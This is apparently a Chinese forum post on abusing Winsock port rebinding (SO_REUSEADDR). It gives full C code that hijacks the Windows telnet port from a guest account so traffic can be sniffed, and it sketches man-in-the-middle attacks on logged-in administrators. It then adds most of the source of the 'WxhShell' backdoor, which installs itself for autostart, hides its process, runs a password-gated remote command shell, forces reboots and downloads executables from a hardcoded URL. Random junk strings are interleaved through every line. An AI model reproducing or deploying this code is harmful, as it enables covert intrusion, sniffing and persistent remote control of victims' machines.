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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xg%]\#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5T@'2)BI=  
f#-T%jqnK  
  saddr.sin_family = AF_INET; Ku,A}5-6  
N`GwL aF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &=t(NI$  
{qdhp_~^l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?fX8WRdh  
rVW'KN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |4*2xDcl  
kFs kn55  
  这意味着什么?意味着可以进行如下的攻击: UDqKF85H  
iKTU28x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )x O_  
z_0lMX`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T%#P??k  
&ZFAUE,[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /M c"K  
~G^doj3|+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F[giq 1#  
D`@U[`Sw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g<5Pc,  
[ESs?v$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?'_7#0R_0  
+s 0Bt '  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u5|e9(J  
^i k|l=  
  #include 4sgwQ$m)  
  #include u:kY4T+Z  
  #include 6_ 0w>  
  #include    v-aq".XQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2Ab#uPBn  
  int main() xa^HU~  
  { q`K-T _<  
  WORD wVersionRequested; ?{Z0g+B1  
  DWORD ret; 8$olP:d  
  WSADATA wsaData; H/I`c>Zn  
  BOOL val; xR%ayT.  
  SOCKADDR_IN saddr; ="e um7  
  SOCKADDR_IN scaddr; s+~Slgl  
  int err; L2A#OZZu  
  SOCKET s; 0cU^ue%  
  SOCKET sc; _NW OSt  
  int caddsize; cCCplL  
  HANDLE mt; UR=s{nFd  
  DWORD tid;   'GoeVq  
  wVersionRequested = MAKEWORD( 2, 2 ); lR3^&d72?  
  err = WSAStartup( wVersionRequested, &wsaData ); ~7H.<kJt  
  if ( err != 0 ) { ;;H:$lx  
  printf("error!WSAStartup failed!\n"); RN3D:b+  
  return -1; V2* |j8|  
  } a<36`#N  
  saddr.sin_family = AF_INET; z=pV{ '  
   .T X& X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oh)l\  
zUu>kJZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -+Dvyr  
  saddr.sin_port = htons(23); 1qN9bwRO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *\vc_NP]  
  { 3k0%H]wt  
  printf("error!socket failed!\n"); U.0/r!po  
  return -1; v%Q7\X(  
  } 9m9=O&C~-<  
  val = TRUE; *[YN|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1"6k5wrIA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <TuSU[]  
  { ,p1]_D&  
  printf("error!setsockopt failed!\n"); &4FdA|9T  
  return -1; &3?yg61Ag  
  } rl7Y=*Dv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )5OU!c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]YzAcB.R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dEL"(e#0s4  
$8}'6,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Qq`\C0RZ  
  { /)|y+<E]}  
  ret=GetLastError(); ,]"u!,yHb  
  printf("error!bind failed!\n"); nd1*e  
  return -1; ,~iAoxD5jY  
  } 0-HE, lv  
  listen(s,2); 9F4|T7?  
  while(1) O waXG/z~  
  { %%[TM(z  
  caddsize = sizeof(scaddr); #OTsD+2Za=  
  //接受连接请求 o>tT!8rH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t1^96@m^  
  if(sc!=INVALID_SOCKET) &Hxr3[+$  
  { rI789 q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [DEw:%  
  if(mt==NULL) mm`3-F|  
  { A 6L}5#7-  
  printf("Thread Creat Failed!\n"); NR@Tj]`k  
  break; =h;!#ZC  
  } Q(3x"+  
  } 'a*IZb-M  
  CloseHandle(mt); _@TTVd  
  } l$KcS&{w9  
  closesocket(s); +rY0/T_0,  
  WSACleanup(); 9U*vnLB  
  return 0; M8}M*\2  
  }   b4ivWb|`  
  DWORD WINAPI ClientThread(LPVOID lpParam) X>>rvlDN  
  { BI]t}7  
  SOCKET ss = (SOCKET)lpParam; WG{/I/bJ_  
  SOCKET sc; mio'm  
  unsigned char buf[4096]; 9@B+$~:}7  
  SOCKADDR_IN saddr; 2[hl^f^%,  
  long num; <,C})H?  
  DWORD val; T5;D0tM/  
  DWORD ret; m`"s$\fah  
  //如果是隐藏端口应用的话,可以在此处加一些判断 D ]eF3a.G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   iH=@``Z  
  saddr.sin_family = AF_INET; |_*1/Wz@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); uBgHtjmae  
  saddr.sin_port = htons(23); RI;RE/Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,Pm/ci( s  
  { }tPl?P'`  
  printf("error!socket failed!\n"); `-\ "p;Hp0  
  return -1; -~k2Gy;E  
  } jw[`\h}8  
  val = 100; b1 cd5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "kC>EtaX  
  { ?_r"Fg;"  
  ret = GetLastError(); _K>m9Q2  
  return -1; zOw]P6Gk  
  } =qvU9p2o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z wW9>Y  
  { Z}wAh|N-  
  ret = GetLastError(); H5{J2M,f  
  return -1; wSMgBRV#^  
  } =3p h:t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bJD"&h5  
  { \^cn}db)  
  printf("error!socket connect failed!\n"); WXL.D_=+  
  closesocket(sc); 2<|5zF  
  closesocket(ss); m}(DJ?qP  
  return -1; G#Ow>NJ  
  } Y# #J  
  while(1) OUPpz_y  
  { ?6bE!36  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <k!G%R<9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @C2<AmY9q*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E \RU[  
  num = recv(ss,buf,4096,0); `ijX9c  
  if(num>0) \ck3y]a[  
  send(sc,buf,num,0); LzfLCGA^  
  else if(num==0) J:(l&  
  break; 67eo~~nUtg  
  num = recv(sc,buf,4096,0); L"a#Uu8  
  if(num>0) L%"Mp(gZ  
  send(ss,buf,num,0); "e"`Or  
  else if(num==0) S}/CzQ  
  break; ^5+-7+-S  
  } d?mdw ?|  
  closesocket(ss); )C@,mgh  
  closesocket(sc); Nvi14,q/  
  return 0 ; ?8 F7BS4oQ  
  } Yq_zlxd%F  
;ORy&H aKl  
;V GrZZ  
========================================================== pK`rm"6G  
itU01  
下边附上一个代码,,WXhSHELL iR-O6*PTC  
QWkw$mcf  
========================================================== slx^" BF^  
u=[oo @Rk`  
#include "stdafx.h" DiX4wmQ  
$4"OD"Z Cq  
#include <stdio.h> jDoWSYu4tY  
#include <string.h> \Mi< ROp5  
#include <windows.h> N?XN$hwdZ  
#include <winsock2.h> , ]MX&]  
#include <winsvc.h> Ou%>Dd5|?  
#include <urlmon.h> lV?SvXe  
lFcCWy  
#pragma comment (lib, "Ws2_32.lib") %YXC-E3@O  
#pragma comment (lib, "urlmon.lib") w~9gZ&hdp  
o\#C] pp  
#define MAX_USER   100 // 最大客户端连接数 R&QT  'i  
#define BUF_SOCK   200 // sock buffer yBoZ@9Do  
#define KEY_BUFF   255 // 输入 buffer ]V_9[=%  
= 7?'S#  
#define REBOOT     0   // 重启 m8?(.BJ%  
#define SHUTDOWN   1   // 关机 pV!(#45~W  
8yo9$~u;  
#define DEF_PORT   5000 // 监听端口 'e)t+  
R Mm`<:H_  
#define REG_LEN     16   // 注册表键长度 ~$$V=$&  
#define SVC_LEN     80   // NT服务名长度 !m;VWGl*  
p,+~dn;=  
// 从dll定义API l>ttxYBa<d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qi%A/~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H{BjxZ~)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %lPP1 R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]k8XLgJ  
ZBGI_9wZ  
// wxhshell配置信息 oAL-v428  
struct WSCFG { JTC&_6  
  int ws_port;         // 监听端口 TCEbz8ql  
  char ws_passstr[REG_LEN]; // 口令 ;@L#0  
  int ws_autoins;       // 安装标记, 1=yes 0=no F ;D_zo?  
  char ws_regname[REG_LEN]; // 注册表键名 %>.v[d1c  
  char ws_svcname[REG_LEN]; // 服务名 _#_Ab8#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +G~b-}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #k6;~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X[w9~t$\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $lqV(s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jmIP c3O0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QNo}nl /N  
>i~c>+R  
}; tx@Q/ou`\P  
_D:/?=y;e  
// default Wxhshell configuration 5v3B8 @CsA  
struct WSCFG wscfg={DEF_PORT, nRGH58  
    "xuhuanlingzhe", $`  
    1, >C i=H(8vN  
    "Wxhshell", "$)2|  
    "Wxhshell", 1a<,/N}}t  
            "WxhShell Service", ^2=zp.)  
    "Wrsky Windows CmdShell Service", DlP}Fp{  
    "Please Input Your Password: ", 4-m%[D |W  
  1, %vksN$^  
  "http://www.wrsky.com/wxhshell.exe", j% nd  
  "Wxhshell.exe" ~i \69q%  
    }; y8L:nnSj  
VltWY'\Wu;  
// 消息定义模块 YJ9_cA'A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5E@V@kw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qg O)@B+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z-Uq89[HZ  
char *msg_ws_ext="\n\rExit."; GgtL./m  
char *msg_ws_end="\n\rQuit."; WO{N@f^  
char *msg_ws_boot="\n\rReboot..."; @l?%]%v|  
char *msg_ws_poff="\n\rShutdown..."; 34U~7P r9  
char *msg_ws_down="\n\rSave to "; iqU}t2vFrj  
k\lj<v<vD  
char *msg_ws_err="\n\rErr!"; \!PC:+u J  
char *msg_ws_ok="\n\rOK!"; wqyAEVea'8  
E'ZWSpP  
char ExeFile[MAX_PATH]; ~ce.&C7cR  
int nUser = 0; Q>rQ/V  
HANDLE handles[MAX_USER]; LOA 90.D  
int OsIsNt; ;V;4#  
?YS`?Rr  
SERVICE_STATUS       serviceStatus; ]X5*e'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3EFk] X  
QV't+)uUVo  
// 函数声明 y`BLIEI  
int Install(void); "7 l}X{b  
int Uninstall(void); 7Ctm({I-  
int DownloadFile(char *sURL, SOCKET wsh); E,rPM  
int Boot(int flag); %:y-"m1\u$  
void HideProc(void); YMWy5 \  
int GetOsVer(void); +)Ty^;+[1  
int Wxhshell(SOCKET wsl); YT_kMy>  
void TalkWithClient(void *cs); o _-t/ ?  
int CmdShell(SOCKET sock); ]oY~8HW  
int StartFromService(void); l]ZUKy  
int StartWxhshell(LPSTR lpCmdLine); Z(.Tl M2h  
d/^^8XUK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v!x[1[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'Go'87+`  
i2*nYd`K  
// 数据结构和表定义 +n:#Uf)  
SERVICE_TABLE_ENTRY DispatchTable[] = sJD"u4#y  
{ X#o:-FKf  
{wscfg.ws_svcname, NTServiceMain}, ABSeX  
{NULL, NULL} A=])pYE1  
}; RBb@@k[v  
saZ ;ixV  
// 自我安装 A@#dv2JzP  
int Install(void) ?G{fF H  
{ M$GD8|*e  
  char svExeFile[MAX_PATH]; Dn@ n:m  
  HKEY key; o ).pF">jh  
  strcpy(svExeFile,ExeFile); U` U/|@6  
k X-AC5]  
// 如果是win9x系统,修改注册表设为自启动 k >MgrtJI  
if(!OsIsNt) { ge` J>2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vQ h'C.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vlf@T  
  RegCloseKey(key); ]* Hz'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /x-t -}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pif8/e  
  RegCloseKey(key); 8 jT"HZB6  
  return 0; LgaJp_d>9*  
    } u+V;r)J{  
  } <(iOzn  
} #:yZJS9f9  
else { Vg3&:g5 /  
Nr)(&c8  
// 如果是NT以上系统,安装为系统服务 {tMD*?C[6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A#i-C+"}  
if (schSCManager!=0) 2H /a&uo@n  
{ _#+9)*A  
  SC_HANDLE schService = CreateService EZHEJW'JnE  
  ( =FKB)#N  
  schSCManager, -(2-zznZ  
  wscfg.ws_svcname, )CB?gW  
  wscfg.ws_svcdisp, u-W=~EO5#  
  SERVICE_ALL_ACCESS, $D89|sy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eyM3W}[S$/  
  SERVICE_AUTO_START, m&\Gz*)3  
  SERVICE_ERROR_NORMAL, E,X,RM~ +D  
  svExeFile, p-}:7CXP  
  NULL, qkEy$[D9  
  NULL, iaC$K@a{  
  NULL, q8D1MEBL`  
  NULL, [brrziZ  
  NULL ERZ[t\g)  
  ); qvscf_%FM  
  if (schService!=0) '=2t(@aC  
  { U".-C`4v  
  CloseServiceHandle(schService); c;e ,)$)-|  
  CloseServiceHandle(schSCManager); Grqs*V &|g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w"e2}iE7  
  strcat(svExeFile,wscfg.ws_svcname); Xnh1pwDhe<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w5;EnI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z`%;bP:  
  RegCloseKey(key); e`oc#Od&x]  
  return 0; KV6S-  
    } ]+l r  
  } LiRY -;8=  
  CloseServiceHandle(schSCManager); 5Q88OxH  
} M(BZ<,9V  
} $@x kKe"  
X*~YCF[_  
return 1; s6egd%r  
} 5(W9Jj]  
3k/Mig T  
// 自我卸载 }8SHw|-  
int Uninstall(void) o]Ki+ U  
{ V OX>Sl  
  HKEY key; zM'-2,  
Nh))U  
if(!OsIsNt) { BO_^3Me*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rQqtejcfx  
  RegDeleteValue(key,wscfg.ws_regname); 7[)(;-  
  RegCloseKey(key); !9 F+uc5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9p.>L8  
  RegDeleteValue(key,wscfg.ws_regname); pGFocw  
  RegCloseKey(key); t0q@] 0B5  
  return 0; Xx^c?6YM  
  } jDnh/k0{d  
} E=E<l?ob  
} AM[:Og S  
else { *" )[Srbg  
Yem\`; *  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )\(pDn$W  
if (schSCManager!=0) G$j8I~E@  
{ kr?| >6?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A3n"zxU  
  if (schService!=0) -'(:Sq,4o  
  { p5KNqqZZ  
  if(DeleteService(schService)!=0) { U]acm\^Z  
  CloseServiceHandle(schService); [>0r'-kI  
  CloseServiceHandle(schSCManager); +M*a.ra0OF  
  return 0; 8M|Q^VeT,1  
  } ,aJrN!fzU  
  CloseServiceHandle(schService); vEsSqzc  
  } 2R!W5gs1<  
  CloseServiceHandle(schSCManager); 6yb<4@LOb  
} v^tKT&  
} */)gk=x8  
U`Zn*O~/  
return 1; 0#JBz\  
} R<=t{vTJ5  
Q ZlUUj\  
// 从指定url下载文件 6D0,ME#  
int DownloadFile(char *sURL, SOCKET wsh) 1<83MO;  
{ 2Kidbf  
  HRESULT hr; eG v"&kr  
char seps[]= "/"; zN1;v6;  
char *token; ,b4&$W].  
char *file; JF gN  
char myURL[MAX_PATH]; ry0 =N^  
char myFILE[MAX_PATH]; 2}b bdXx  
v4$,Vt:7  
strcpy(myURL,sURL); 3(%,2  
  token=strtok(myURL,seps); #!/Nmd=Nj  
  while(token!=NULL) 8'_Y=7b0Nw  
  { LPO" K"'w  
    file=token; S\A[Z&k 0  
  token=strtok(NULL,seps); hd~rC*I  
  } rx/6x(3  
2. _cEY34  
GetCurrentDirectory(MAX_PATH,myFILE); 9m6j?CFG}  
strcat(myFILE, "\\"); @-}]~|<  
strcat(myFILE, file); brWt  
  send(wsh,myFILE,strlen(myFILE),0); Ei-OuDM;)  
send(wsh,"...",3,0); (XJQ$n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u W T[6R  
  if(hr==S_OK) ~}w 8UO  
return 0; H~Cfni;  
else ^= G+]$8  
return 1; KfNXX>'  
%u}sVRJ  
} vknFtpx  
Vd4osBu{fY  
// 系统电源模块 ;"Y6&YP<  
int Boot(int flag) #F@7>hd1  
{ U:r2hqegd  
  HANDLE hToken; OT i3T1&  
  TOKEN_PRIVILEGES tkp; BP$#a #  
vvxj{fxb)  
  if(OsIsNt) { 4(82dmKO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ny={V*m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R 28*  
    tkp.PrivilegeCount = 1; c29Z1Zs2)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S<~nk-xr*h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /5Loj&!=  
if(flag==REBOOT) {  4&D="GA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @:B1  
  return 0; >gJWp@6V  
} qgNK!(kWpr  
else { =6&D4~R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^q\zC%.  
  return 0; LS'=>s"  
} 0 ,-b %X  
  } 7p6J   
  else { "[yiNJ"kt  
if(flag==REBOOT) { vuBA&j0C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *\",  qMp  
  return 0; #cS,5(BM  
} @XC97kGWp  
else { |T*qAJ8c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R:N-y."La.  
  return 0; +ctv]'P_  
} K5&C}Ey1  
} TzGm562o%  
U.OX*-Cd  
return 1; +`-a*U94  
} /MH@>C _  
i:ZA{hA`c  
// win9x进程隐藏模块 Ah {pidUx  
void HideProc(void) AW5g (  
{ ;0}2@Q2@ZK  
mC92J@m/L!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PBtU4)  
  if ( hKernel != NULL ) E e>j7k.G.  
  { uW=NH;u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "~C#DZwt{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D5u"4\g< &  
    FreeLibrary(hKernel); #Ca's'j&f  
  } (}1f]$V  
VAGMI+ -  
return; 4tJ4X' U  
} _`>7 Q) ,7  
rJp6d :M  
// 获取操作系统版本 ]bb}[#AY  
int GetOsVer(void) /g'-*:a  
{  <z2mNq  
  OSVERSIONINFO winfo; F*VMS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vp-7>Wj  
  GetVersionEx(&winfo); y$o=\:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pVS2dwBqE  
  return 1; ^]&{"!  
  else I?Fa  
  return 0; \/'n[3x  
} **w~  
% T\N@  
// 客户端句柄模块 H^;S}<pxW  
int Wxhshell(SOCKET wsl) _x 6E_i-(  
{ 2_n*u^X:_  
  SOCKET wsh; 3Lki7QW`  
  struct sockaddr_in client; LoE(W|nj  
  DWORD myID; <Cu?$  
e-3pg?M  
  while(nUser<MAX_USER) lFGxW 5  
{ tkqBCKpDa  
  int nSize=sizeof(client); ZM`P~N1?)g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a9zph2o-  
  if(wsh==INVALID_SOCKET) return 1; h\*rv5\M  
%L>nXj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `)M\(_  
if(handles[nUser]==0) % 3-\3qx*  
  closesocket(wsh); '8kjTf#g<l  
else Sx9:$"3.X  
  nUser++; I{e^,oc  
  } vr;Br-8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .y9rM{h}b  
fhIj+/{_O  
  return 0; ~Z6p3# !o  
} c_$&Uii  
p[F=LP  
// 关闭 socket ^.kAZSgO  
void CloseIt(SOCKET wsh) }"B? 8T@_~  
{ tW"ptU^9)  
closesocket(wsh); 1idjX"'  
nUser--; 'oZn<c`  
ExitThread(0); kJi&9  
} tr9Y1vxo{  
&9w%n  
// 客户端请求句柄 pkfOM"5'  
void TalkWithClient(void *cs) A2:){`Mw  
{ .4re0:V  
|4> r"  
  SOCKET wsh=(SOCKET)cs; =#2qX> ?  
  char pwd[SVC_LEN]; 4O_+4yS  
  char cmd[KEY_BUFF]; 3r:)\E+Q_  
char chr[1]; *r,&@UB  
int i,j; <&s)k  
w[7.@%^[  
  while (nUser < MAX_USER) { Xe3z6  
gq_7_Y/  
if(wscfg.ws_passstr) { j /dE6d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z F yX@#B9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PT@e),{~o9  
  //ZeroMemory(pwd,KEY_BUFF); ph12x: @B  
      i=0; ]n]uN~)9  
  while(i<SVC_LEN) { q\'P1~  
JRjMt-7H_  
  // 设置超时 C:GHP$/}  
  fd_set FdRead; T ~~[a|bLa  
  struct timeval TimeOut; z5&%T}$tJ  
  FD_ZERO(&FdRead); Ms'TC; &PS  
  FD_SET(wsh,&FdRead); ) ~)SCN>-  
  TimeOut.tv_sec=8; j)tC r Py  
  TimeOut.tv_usec=0; ^Ii  \vk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ik-E4pxKo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X]pWvQ Q]  
-8Jl4F ,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CpRu*w{  
  pwd=chr[0]; ~? FrI  
  if(chr[0]==0xd || chr[0]==0xa) { :7Z\3_D/  
  pwd=0; YUVc9PV)Ws  
  break; 56=K@$L {F  
  } :O'C:n<g  
  i++; OT}Yr9h4  
    } O`[iz/7m  
yEpN,A  
  // 如果是非法用户,关闭 socket $mI:Im`s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZA_zKJ[[7  
} Y = g>r]2  
Ih-3t*L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =SK+ \j$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w{e3U7;  
/pIb@:Y1?  
while(1) { <qq'h  
UC+7-y,  
  ZeroMemory(cmd,KEY_BUFF); le^_6| ek  
x<*IF,o  
      // 自动支持客户端 telnet标准   aEEz4,x_  
  j=0; uVq5fT`B  
  while(j<KEY_BUFF) { k99gjL`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b1+hr(kMRM  
  cmd[j]=chr[0]; 9oj e`Ay  
  if(chr[0]==0xa || chr[0]==0xd) { #7~tL23}]  
  cmd[j]=0; I*:qGr+ WJ  
  break; !M]%8NTt2  
  } Ku0H?qft(  
  j++; s la*3~ ?*  
    } _<%\h?W$  
)+w/\~@  
  // 下载文件 WpJD=C%  
  if(strstr(cmd,"http://")) { +Y5(hjE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R?bn,T>  
  if(DownloadFile(cmd,wsh)) GcZM+c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l~fh_IV1  
  else xgtJl}L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B%eDBu ")  
  } cVB|sYdf  
  else { k_K,J 6_)  
e+F}9HR7  
    switch(cmd[0]) { M$&WM{Pr^  
  Q3BLL` W~  
  // 帮助 9QC"Od9H  
  case '?': { x5fgF;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~tg1N^]kV  
    break; rw5#e.~V  
  } JtYYT/PB  
  // 安装 %$ir a\ sM  
  case 'i': { rq<`(V'2  
    if(Install()) /63 W\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); waXDGdl0  
    else ;w+:8<mM}a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %\X P:  
    break; BN\fv,  
    } <TLGfA1bC  
  // 卸载 :k ME  
  case 'r': { P1)* q0  
    if(Uninstall()) i!SW?\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zdLVxL>87  
    else G}=`VYK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y3={NB+  
    break; m\*&2Na  
    } YW8K $W  
  // 显示 wxhshell 所在路径 0NL :z1N-h  
  case 'p': { E/wQ+rv  
    char svExeFile[MAX_PATH]; &5kZ{,-eM  
    strcpy(svExeFile,"\n\r"); Ud>`@2  
      strcat(svExeFile,ExeFile); 6?%]odI#  
        send(wsh,svExeFile,strlen(svExeFile),0); 6-*~ t8  
    break; \3t,|%v  
    } (@ %XWg  
  // 重启 #joF{ M{  
  case 'b': { _-@ZOhw&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Nl~Z,hT$*  
    if(Boot(REBOOT)) -!XrwQyk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #'J~Xk   
    else { /;(<fh<bY  
    closesocket(wsh); 8s QQK.N(  
    ExitThread(0); _wm~}_Q  
    } I`/]@BdgY  
    break; hf_R\C(c  
    } 4|zd84g  
